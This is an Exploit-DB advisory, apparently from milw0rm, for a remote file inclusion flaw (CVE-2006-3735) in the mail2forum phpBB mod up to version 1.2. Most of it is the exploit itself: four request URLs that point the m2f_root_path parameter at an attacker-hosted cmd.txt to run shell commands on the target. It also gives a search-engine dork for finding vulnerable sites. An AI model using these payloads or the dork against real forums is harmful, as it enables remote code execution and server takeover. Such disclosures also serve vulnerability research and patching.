mail2forum phpBB Mod <= 1.2 m2f_root_path Remote Include Vulns

2006-07-17T00:00:00
ID EDB-ID:2019
Type exploitdb
Reporter OLiBekaS
Modified 2006-07-17T00:00:00

Description

mail2forum phpBB Mod <= 1.2 (m2f_root_path) Remote Include Vulns. CVE-2006-3735. Webapps exploit for php platform

                                        
                                            Title : mail2forum &lt;= 1.2 Multiple Remote File Include Vulnerabilities

###############################################################################

Discovered By OLiBekaS

-----------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : mail for phpbb (bulletin board/forum software)
version : latest version [ 1.2 ]
URL : http://www.www.mail2forum.com

-----------------------------------------------------------------------------

dork        : allinurl:/m2f_usercp.php?

Exploit     : 
http://[target]/[forum_path]/m2f/m2f_phpbb204.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_forum.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_mailinglist.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_cron.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls

# milw0rm.com [2006-07-17]